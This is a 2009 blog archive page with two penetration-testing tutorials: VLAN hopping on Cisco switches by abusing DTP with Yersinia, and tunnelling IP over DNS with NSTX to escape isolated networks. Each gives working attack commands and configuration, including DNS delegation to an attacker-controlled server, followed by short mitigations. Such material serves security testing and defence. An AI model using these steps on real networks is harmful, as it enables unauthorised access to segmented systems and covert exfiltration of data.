Monthly Archives: March 2009

DTP – Share it!

0
Posted by peter on March 25, 2009 – 9:32 pm
Filed under Articles
Tagged as , , , , , , ,


Overview


The one thing that is always overlooked, when someone tries to secure a network, is the user side. It is rare to see a DMZ network, that is protected by a firewall from the users. The general idea is that if you are an internal user, you have legitimate access to the servers, so there is no need to protect them from you. In this article we will discuss a frequently overlooked feature of Cisco switches called DTP, we will explain why is it dangerous and what are the steps to disable it.

In some rare occasions, the IT security people have done their job right and limited the access from internal users to the servers in the internal or external DMZ. This ofcourse will make it harder for a penetration tester to find something interesting to put in the report. Only if he could jump in the VLAN with the servers, so there is no firewall in the way …


Scenario

Well, maybe it is time to look at the Layer 2 side of the network. You might happen to know that by default Cisco switches don’t put their ports in access mode, with the idea that if you happen to connect two switches, they can automatically reconfigure the ports that connect them in trunk mode, so you can share VLANs between them. The proprietary protocol that negotiates that is called DTP, which stands for Dynamic Trunking Protocol.

Yersinia is a network tool designed to take advantage of some weaknesses or misconfiguration in different network protocols (STP, CDP, DTP, DHCP, HSRP, ISL, VTP).  Lets try it out:
$ sudo yersinia -I
Just remember to maximize your console window in case that you use KDE or GNOME or something else, as yersinia will refuse to start if the window is too small. You can use the F1 to F10 keys to cycle through the different windows and each window shows information for a specific protocol, if it is detected to be enabled on the network. In our example we will focus on the DTP window and we’ll hope that we see some activity there. If this is the case, we will see some lines with ACCESS/DESIRABLE in them, which represents the current state of the port.

All we need to do now is to press ‘x‘ to execute an attack and select ‘1‘ in order to try and enable trunking. If you see a couple of lines with ‘TRUNK/DESIRABLE‘ this most probably means that the attack is successful. Now if you go to the 802.1Q window, you should be able to see all the VLANs that are enabled on the switch and even the IP ranges that are used in them. After that joining a VLAN is trivial:

$ sudo modprobe 8021q
$ sudo vconfig add eth0 4
$ sudo ifconfig eth0.4 10.0.0.199 netmask 255.255.255.0 up

In this example ‘8021q’ is the module that enables vlan support in Linux, ‘4′ is the VLAN> number and ‘10.0.0.199′ is the IP address assigned. Just remember that you need to leave yersinia running, in order to keep the port in trunk mode.


Mitigation

The solution of this problem is actually quite simple – just put all client ports in access mode. The following commands executed for every client port will do just that:

# switchport mode access
# switchport access vlan x
# switchport nonegotiate

IP over DNS

0
Posted by peter on March 14, 2009 – 4:51 pm
Filed under Articles
Tagged as , , , , , , , , , ,


Overview


Sometimes while you are performing a penetration test, you need to break out from a supposedly isolated network like an internal VLAN in a bank, or a network full of SCADA equipment. Such networks should be completely isolated from the Internet, so there is no chance that someone who has network access can implant a backdoor and either sneak out information or allow access from the outside. This article demonstrates how the often overlooked DNS service can be used to achieve these malicious goals and why when you configure an isolated network, you shouldn’t allow even name resolution of external hosts.


Scenario

A great tool to demonstrate this idea is NSTX. It allows you to tunnel IP packets inside DNS queries, thus bypassing all firewall restrictions. Experience shows that almost any network will have access to DNS servers and also most DNS servers by default have forwarders enabled. This will be your gateway to the Internet, provided that you have a domain name that is controlled by you and a server with a valid external IP address, that is currently not running DNS.

The magic that makes the whole thing work is a subdomain whose control is delegated to your server which will be running the NSTX daemon. The following BIND configuration lines demonstrate this:

$ORIGIN tunnel.example.com.
@               IN      NS      ns.tunnel.example.com.
ns              IN      A       1.2.3.4

These configure the DNS server to forward all DNS queries for the records in tunnel.example.com to the DNS server (NSTX daemon) located on IP address 1.2.3.4. This way all queries for hosts like test.tunnel.example.com will be forwarded to your NSTX daemon running at 1.2.3.4. As you might have already guessed, the actual host request that is sent to the NSTX daemon is a Base64 encoded part of an IP packet. Just as the TXT record that you receive in reply.

For the actual implementation we’ll assume that you using a Debian or Ubuntu distribution. You need to install the nstx package, which can be achieved with the following command:

$ sudo apt-get install nstx

Then you’ll have to add the following lines in /etc/network/interfaces on the server:

iface tun0 inet static
  address 10.0.0.1
  pointopoint 10.0.0.2
  netmask 255.255.255.255
  mtu 512

Swap the IP addresses when you modify /etc/network/interfaces on the client machine:

iface tun0 inet static
  address 10.0.0.2
  pointopoint 10.0.0.1
  netmask 255.255.255.255
  mtu 512

This will ensure that one the NSTX tunnel is up, you’ll have 10.0.0.1 on the server and 10.0.0.2 on the client side. You might tweak the mtu parameter for better performance, but with 512 bytes you should be fine.

The next thing that you’ll need to do is to modify /etc/defaults/nstx. On the server make sure that the following entries are uncommented:

NSTX_DOMAIN="tunnel.example.com"
start_nstxd=yes
ifup_tun=tun0

And on the client side:

NSTX_DOMAIN="tunnel.example.com"
start_nstxcd=yes
ifup_tun=tun0

And that’s it! When you start the nstx daemon on the server:

$ sudo /etc/init.d/nstxd start

… and on the client …

$ sudo /etc/init.d/nstxcd start

… you should see a tunnel interface called tun0 that is up on both machines and you should be able to ping 10.0.0.1 from the client. From there you might want to enable NAT on your server and allow packets to be routed through it, but as this is a trivial task, I guess you can figure that out by yourself.


Mitigation

The mitigation couldn’t be easier – just don’t allow access from an isolated network to a DNS server which has forwarders enabled.